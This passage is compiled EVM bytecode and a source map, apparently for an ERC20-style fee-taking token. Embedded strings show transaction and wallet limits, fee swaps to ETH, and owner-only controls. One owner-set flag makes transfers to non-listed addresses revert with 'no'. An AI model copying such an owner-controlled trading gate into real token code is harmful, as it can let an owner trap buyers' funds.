fffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116da9061333d565b60405180910390fd5b5f8111611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c906133cb565b60405180910390fd5b61172d610dd7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179b575061176b610dd7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b9b57601560169054906101000a900460ff161561183f5760105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613433565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156118c857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561192e57601382908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601654811115611973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196a9061349b565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a1f57601754816119d484610c20565b6119de91906134b9565b10611a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a159061355c565b60405180910390fd5b5b5f611a2930610c20565b90505f60185482101590506016548210611a435760165491505b808015611a5d5750601560149054906101000a900460ff16155b8015611ab6575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611acc575060158054906101000a900460ff165b8015611b1f575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611b72575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b9857611b8082611fc4565b5f4790505f811115611b9657611b9547611ef0565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611c3b575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611cec575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ceb575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611cf9575f9050611e7c565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611da2575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dba57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e63575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e7b57600a54600c81905550600b54600d819055505b5b611e888484848461222f565b50505050565b5f838311158290611ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecc91906129a3565b60405180910390fd5b505f8385611ee3919061357a565b9050809150509392505050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f54573d5f803e3d5ffd5b5050565b5f600654821115611f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f959061361d565b60405180910390fd5b5f611fa761225c565b9050611fbc818461228590919063ffffffff16565b915050919050565b6001601560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ffb57611ffa612c49565b5b6040519080825280602002602001820160405280156120295781602001602082028036833780820191505090505b50905030815f815181106120405761203f612ff4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612108919061364f565b8160018151811061211c5761211b612ff4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121823060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611444565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016121e495949392919061376a565b5f604051808303815f87803b1580156121fb575f80fd5b505af115801561220d573d5f803e3d5ffd5b50505050505f601560146101000a81548160ff02191690831515021790555050565b8061223d5761223c6122ce565b5b612248848484612307565b80612256576122556124c7565b5b50505050565b5f805f6122676124db565b9150915061227e818361228590919063ffffffff16565b9250505090565b5f6122c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612534565b905092915050565b5f600c541480156122e057505f600d54145b61230557600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f8061231687612595565b9550955095509550955095506123728660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125f590919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124038560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461263e90919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061244d8161269b565b6124578483612752565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124b49190612b55565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f66038d7ea4c68000905061250a66038d7ea4c6800060065461228590919063ffffffff16565b8210156125275760065466038d7ea4c68000935093505050612530565b81819350935050505b9091565b5f808311829061257a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257191906129a3565b60405180910390fd5b505f838561258891906137ef565b9050809150509392505050565b5f805f805f805f805f6125ad8a600c54600d5461278c565b9250925092505f6125bc61225c565b90505f805f6125cd8e87878761281e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61263683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e8e565b905092915050565b5f80828461264c91906134b9565b905083811015612691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268890613869565b60405180910390fd5b8091505092915050565b5f6126a461225c565b90505f6126ba82846128a290919063ffffffff16565b905061270c8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461263e90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612767826006546125f590919063ffffffff16565b6006819055506127828160075461263e90919063ffffffff16565b6007819055505050565b5f805f806127b660646127a8888a6128a290919063ffffffff16565b61228590919063ffffffff16565b90505f6127df60646127d1888b6128a290919063ffffffff16565b61228590919063ffffffff16565b90505f612807826127f9858c6125f590919063ffffffff16565b6125f590919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061283585896128a290919063ffffffff16565b90505f61284b86896128a290919063ffffffff16565b90505f61286187896128a290919063ffffffff16565b90505f6128898261287b85876125f590919063ffffffff16565b6125f590919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036128b2575f9050612913565b5f82846128bf9190613887565b90508284826128ce91906137ef565b1461290e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290590613938565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612950578082015181840152602081019050612935565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61297582612919565b61297f8185612923565b935061298f818560208601612933565b6129988161295b565b840191505092915050565b5f6020820190508181035f8301526129bb818461296b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129fd826129d4565b9050919050565b612a0d816129f3565b8114612a17575f80fd5b50565b5f81359050612a2881612a04565b92915050565b5f819050919050565b612a4081612a2e565b8114612a4a575f80fd5b50565b5f81359050612a5b81612a37565b92915050565b5f8060408385031215612a7757612a766129cc565b5b5f612a8485828601612a1a565b9250506020612a9585828601612a4d565b9150509250929050565b5f8115159050919050565b612ab381612a9f565b82525050565b5f602082019050612acc5f830184612aaa565b92915050565b5f819050919050565b5f612af5612af0612aeb846129d4565b612ad2565b6129d4565b9050919050565b5f612b0682612adb565b9050919050565b5f612b1782612afc565b9050919050565b612b2781612b0d565b82525050565b5f602082019050612b405f830184612b1e565b92915050565b612b4f81612a2e565b82525050565b5f602082019050612b685f830184612b46565b92915050565b5f805f60608486031215612b8557612b846129cc565b5b5f612b9286828701612a1a565b9350506020612ba386828701612a1a565b9250506040612bb486828701612a4d565b9150509250925092565b5f60208284031215612bd357612bd26129cc565b5b5f612be084828501612a4d565b91505092915050565b612bf2816129f3565b82525050565b5f602082019050612c0b5f830184612be9565b92915050565b5f60ff82169050919050565b612c2681612c11565b82525050565b5f602082019050612c3f5f830184612c1d565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612c7f8261295b565b810181811067ffffffffffffffff82111715612c9e57612c9d612c49565b5b80604052505050565b5f612cb06129c3565b9050612cbc8282612c76565b919050565b5f67ffffffffffffffff821115612cdb57612cda612c49565b5b602082029050602081019050919050565b5f80fd5b5f612d02612cfd84612cc1565b612ca7565b90508083825260208201905060208402830185811115612d2557612d24612cec565b5b835b81811015612d4e5780612d3a8882612a1a565b845260208401935050602081019050612d27565b5050509392505050565b5f82601f830112612d6c57612d6b612c45565b5b8135612d7c848260208601612cf0565b91505092915050565b5f805f805f60a08688031215612d9e57612d9d6129cc565b5b5f612dab88828901612a4d565b9550506020612dbc88828901612a4d565b9450506040612dcd88828901612a4d565b9350506060612dde88828901612a4d565b925050608086013567ffffffffffffffff811115612dff57612dfe6129d0565b5b612e0b88828901612d58565b9150509295509295909350565b612e2181612a9f565b8114612e2b575f80fd5b50565b5f81359050612e3c81612e18565b92915050565b5f60208284031215612e5757612e566129cc565b5b5f612e6484828501612e2e565b91505092915050565b5f60208284031215612e8257612e816129cc565b5b5f612e8f84828501612a1a565b91505092915050565b5f80fd5b5f8083601f840112612eb157612eb0612c45565b5b8235905067ffffffffffffffff811115612ece57612ecd612e98565b5b602083019150836020820283011115612eea57612ee9612cec565b5b9250929050565b5f805f60408486031215612f0857612f076129cc565b5b5f84013567ffffffffffffffff811115612f2557612f246129d0565b5b612f3186828701612e9c565b93509350506020612f4486828701612e2e565b9150509250925092565b5f8060408385031215612f6457612f636129cc565b5b5f612f7185828601612a1a565b9250506020612f8285828601612a1a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612fc0602083612923565b9150612fcb82612f8c565b602082019050919050565b5f6020820190508181035f830152612fed81612fb4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61305882612a2e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361308a57613089613021565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6130ef602683612923565b91506130fa82613095565b604082019050919050565b5f6020820190508181035f83015261311c816130e3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61317d602483612923565b915061318882613123565b604082019050919050565b5f6020820190508181035f8301526131aa81613171565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61320b602283612923565b9150613216826131b1565b604082019050919050565b5f6020820190508181035f830152613238816131ff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613299602583612923565b91506132a48261323f565b604082019050919050565b5f6020820190508181035f8301526132c68161328d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613327602383612923565b9150613332826132cd565b604082019050919050565b5f6020820190508181035f8301526133548161331b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6133b5602983612923565b91506133c08261335b565b604082019050919050565b5f6020820190508181035f8301526133e2816133a9565b9050919050565b7f6e6f0000000000000000000000000000000000000000000000000000000000005f82015250565b5f61341d600283612923565b9150613428826133e9565b602082019050919050565b5f6020820190508181035f83015261344a81613411565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613485601c83612923565b915061349082613451565b602082019050919050565b5f6020820190508181035f8301526134b281613479565b9050919050565b5f6134c382612a2e565b91506134ce83612a2e565b92508282019050808211156134e6576134e5613021565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f613546602383612923565b9150613551826134ec565b604082019050919050565b5f6020820190508181035f8301526135738161353a565b9050919050565b5f61358482612a2e565b915061358f83612a2e565b92508282039050818111156135a7576135a6613021565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613607602a83612923565b9150613612826135ad565b604082019050919050565b5f6020820190508181035f830152613634816135fb565b9050919050565b5f8151905061364981612a04565b92915050565b5f60208284031215613664576136636129cc565b5b5f6136718482850161363b565b91505092915050565b5f819050919050565b5f61369d6136986136938461367a565b612ad2565b612a2e565b9050919050565b6136ad81613683565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6136e5816129f3565b82525050565b5f6136f683836136dc565b60208301905092915050565b5f602082019050919050565b5f613718826136b3565b61372281856136bd565b935061372d836136cd565b805f5b8381101561375d57815161374488826136eb565b975061374f83613702565b925050600181019050613730565b5085935050505092915050565b5f60a08201905061377d5f830188612b46565b61378a60208301876136a4565b818103604083015261379c818661370e565b90506137ab6060830185612be9565b6137b86080830184612b46565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6137f982612a2e565b915061380483612a2e565b925082613814576138136137c2565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613853601b83612923565b915061385e8261381f565b602082019050919050565b5f6020820190508181035f83015261388081613847565b9050919050565b5f61389182612a2e565b915061389c83612a2e565b92508282026138aa81612a2e565b915082820484148315176138c1576138c0613021565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613922602183612923565b915061392d826138c8565b604082019050919050565b5f6020820190508181035f83015261394f81613916565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034ac42b18871587d03cdf6231a2728e3a3fa8f6261d69fc0e3d734d41a66a78664736f6c63430008150033
Deployed Bytecode Sourcemap
4169:13420:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6695:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7620:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5485:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6972:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17206:136;;;;;;;;;;;;;:::i;:::-;;7821:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5449:27;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5785:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6881:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5533:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16009:559;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16811:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12405:198;;;;;;;;;;;;;:::i;:::-;;7075:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1656:148;;;;;;;;;;;;;:::i;:::-;;5673:43;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5290;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1442:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5728:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6786:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16620:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16951:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7221:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12198;;;;;;;;;;;;;:::i;:::-;;17350:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7428:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17067:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1812:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6695:83;6732:13;6765:5;;;;;;;;;;;;;;;;;6758:12;;6695:83;:::o;7620:193::-;7722:4;7744:39;7753:12;:10;:12::i;:::-;7767:7;7776:6;7744:8;:39::i;:::-;7801:4;7794:11;;7620:193;;;;:::o;5485:41::-;;;;;;;;;;;;;:::o;6972:95::-;7025:7;4734:15;7045:14;;6972:95;:::o;17206:136::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4734:15:::1;17258:14;:24;;;;4734:15;17293:12;:22;;;;17329:5;17326:2;;:8;;;;;;;;;;;;;;;;;;17206:136::o:0;7821:446::-;7953:4;7970:36;7980:6;7988:9;7999:6;7970:9;:36::i;:::-;8017:220;8040:6;8061:12;:10;:12::i;:::-;8088:138;8144:6;8088:138;;;;;;;;;;;;;;;;;:11;:19;8100:6;8088:19;;;;;;;;;;;;;;;:33;8108:12;:10;:12::i;:::-;8088:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8017:8;:220::i;:::-;8255:4;8248:11;;7821:446;;;;;:::o;5449:27::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5785:50::-;;;;:::o;6881:83::-;6922:5;4408:1;6940:16;;6881:83;:::o;5533:28::-;;;;;;;;;;;;;:::o;16009:559::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16180:2:::1;;;;;;;;;;;16177:85;;;16188:9;16184:77;16204:15;:22;16202:1;:24;16184:77;;;16255:4;16232:2;:22;16235:15;16251:1;16235:18;;;;;;;;:::i;:::-;;;;;;;;16232:22;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;16227:3;;;;;:::i;:::-;;;;16184:77;;;;16177:85;16273:9;16269:124;16292:15;:22;16288:1;:26;16269:124;;;16377:4;16336:18;:38;16355:15;16371:1;16355:18;;;;;;;;:::i;:::-;;;;;;;;16336:38;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;16316:3;;;;;:::i;:::-;;;;16269:124;;;;16428:13;16411:14;:30;;;;16470:14;16452:15;:32;;;;16510:11;16495:12;:26;;;;16548:12;16532:13;:28;;;;16009:559:::0;;;;;:::o;16811:101::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16892:12:::1;16878:11;::::0;:26:::1;;;;;;;;;;;;;;;;;;16811:101:::0;:::o;12405:198::-;12471:19;;;;;;;;;;;12455:35;;:12;:10;:12::i;:::-;:35;;;12447:44;;;;;;12502:26;12531:21;12502:50;;12563:32;12576:18;12563:12;:32::i;:::-;12436:167;12405:198::o;7075:138::-;7141:7;7168:37;7188:7;:16;7196:7;7188:16;;;;;;;;;;;;;;;;7168:19;:37::i;:::-;7161:44;;7075:138;;;:::o;1656:148::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1763:1:::1;1726:40;;1747:6;::::0;::::1;;;;;;;;1726:40;;;;;;;;;;;;1794:1;1777:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1656:148::o:0;5673:43::-;;;;:::o;5290:::-;;;;;;;;;;;;;;;;;:::o;1442:79::-;1480:7;1507:6;;;;;;;;;;;1500:13;;1442:79;:::o;5728:45::-;;;;:::o;6786:87::-;6825:13;6858:7;;;;;;;;;;;;;;;;;6851:14;;6786:87;:::o;16620:139::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16733:18:::1;16711:19;:40;;;;16620:139:::0;:::o;16951:103::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17035:11:::1;17020:12;:26;;;;16951:103:::0;:::o;7221:199::-;7326:4;7348:42;7358:12;:10;:12::i;:::-;7372:9;7383:6;7348:9;:42::i;:::-;7408:4;7401:11;;7221:199;;;;:::o;12198:::-;12264:19;;;;;;;;;;;12248:35;;:12;:10;:12::i;:::-;:35;;;12240:44;;;;;;12295:23;12321:24;12339:4;12321:9;:24::i;:::-;12295:50;;12356:33;12373:15;12356:16;:33::i;:::-;12229:168;12198:199::o;17350:234::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17467:9:::1;17463:114;17486:8;;:15;;17482:1;:19;17463:114;;;17557:8;17523:18;:31;17542:8;;17551:1;17542:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;17523:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;17503:3;;;;;:::i;:::-;;;;17463:114;;;;17350:234:::0;;;:::o;7428:184::-;7545:7;7577:11;:18;7589:5;7577:18;;;;;;;;;;;;;;;:27;7596:7;7577:27;;;;;;;;;;;;;;;;7570:34;;7428:184;;;;:::o;17067:131::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17158:13:::1;17141:14;:30;;;;17185:5;17182:2;;:8;;;;;;;;;;;;;;;;;;17067:131:::0;:::o;1812:244::-;1579:12;:10;:12::i;:::-;1569:22;;:6;;;;;;;;;;:22;;;1561:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1921:1:::1;1901:22;;:8;:22;;::::0;1893:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2011:8;1982:38;;2003:6;::::0;::::1;;;;;;;;1982:38;;;;;;;;;;;;2040:8;2031:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1812:244:::0;:::o;201:98::-;254:7;281:10;274:17;;201:98;:::o;8958:369::-;9102:1;9085:19;;:5;:19;;;9077:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9183:1;9164:21;;:7;:21;;;9156:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9265:6;9235:11;:18;9247:5;9235:18;;;;;;;;;;;;;;;:27;9254:7;9235:27;;;;;;;;;;;;;;;:36;;;;9303:7;9287:32;;9296:5;9287:32;;;9312:6;9287:32;;;;;;:::i;:::-;;;;;;;;8958:369;;;:::o;9335:2255::-;9473:1;9457:18;;:4;:18;;;9449:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9550:1;9536:16;;:2;:16;;;9528:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9620:1;9611:6;:10;9603:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9692:7;:5;:7::i;:::-;9684:15;;:4;:15;;;;:32;;;;;9709:7;:5;:7::i;:::-;9703:13;;:2;:13;;;;9684:32;9680:1184;;;9784:2;;;;;;;;;;;9781:29;;;9796:2;:6;9799:2;9796:6;;;;;;;;;;;;;;;;;;;;;;;;;9788:20;;;;;;;;;;;;:::i;:::-;;;;;;;;;9781:29;9835:13;;;;;;;;;;;9829:19;;:2;:19;;;;:42;;;;;9866:4;9852:19;;:2;:19;;;;9829:42;9826:100;;;9891:10;9907:2;9891:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9826:100;9958:12;;9948:6;:22;;9940:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;10029:13;;;;;;;;;;;10023:19;;:2;:19;;;10020:146;;10096:14;;10087:6;10071:13;10081:2;10071:9;:13::i;:::-;:22;;;;:::i;:::-;:39;10063:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;10020:146;10182:28;10213:24;10231:4;10213:9;:24::i;:::-;10182:55;;10252:12;10291:19;;10267:20;:43;;10252:58;;10354:12;;10330:20;:36;10327:124;;10423:12;;10400:35;;10327:124;10471:7;:18;;;;;10483:6;;;;;;;;;;;10482:7;10471:18;:43;;;;;10501:13;;;;;;;;;;;10493:21;;:4;:21;;;;10471:43;:58;;;;;10518:11;;;;;;;;;;10471:58;:87;;;;;10534:18;:24;10553:4;10534:24;;;;;;;;;;;;;;;;;;;;;;;;;10533:25;10471:87;:114;;;;;10563:18;:22;10582:2;10563:22;;;;;;;;;;;;;;;;;;;;;;;;;10562:23;10471:114;10467:386;;;10606:38;10623:20;10606:16;:38::i;:::-;10663:26;10692:21;10663:50;;10757:1;10736:18;:22;10732:106;;;10783:35;10796:21;10783:12;:35::i;:::-;10732:106;10587:266;10467:386;9718:1146;;9680:1184;10876:12;10891:4;10876:19;;10940:18;:24;10959:4;10940:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10968:18;:22;10987:2;10968:22;;;;;;;;;;;;;;;;;;;;;;;;;10940:50;10939:102;;;;11004:13;;;;;;;;;;;10996:21;;:4;:21;;;;:44;;;;;11027:13;;;;;;;;;;;11021:19;;:2;:19;;;;10996:44;10939:102;10935:594;;;11068:5;11058:15;;10935:594;;;11151:13;;;;;;;;;;;11143:21;;:4;:21;;;:55;;;;;11182:15;;;;;;;;;;;11168:30;;:2;:30;;;;11143:55;11140:162;;;11231:14;;11219:9;:26;;;;11274:12;;11264:7;:22;;;;11140:162;11361:13;;;;;;;;;;;11355:19;;:2;:19;;;:55;;;;;11394:15;;;;;;;;;;;11378:32;;:4;:32;;;;11355:55;11351:165;;;11443:15;;11431:9;:27;;;;11487:13;;11477:7;:23;;;;11351:165;10935:594;11541:41;11556:4;11562:2;11566:6;11574:7;11541:14;:41::i;:::-;9438:2152;9335:2255;;;:::o;2420:224::-;2540:7;2573:1;2568;:6;;2576:12;2560:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2600:9;2616:1;2612;:5;;;;:::i;:::-;2600:17;;2635:1;2628:8;;;2420:224;;;;;:::o;12089:101::-;12146:19;;;;;;;;;;;:28;;:36;12175:6;12146:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12089:101;:::o;8275:323::-;8370:7;8428;;8417;:18;;8395:110;;;;;;;;;;;;:::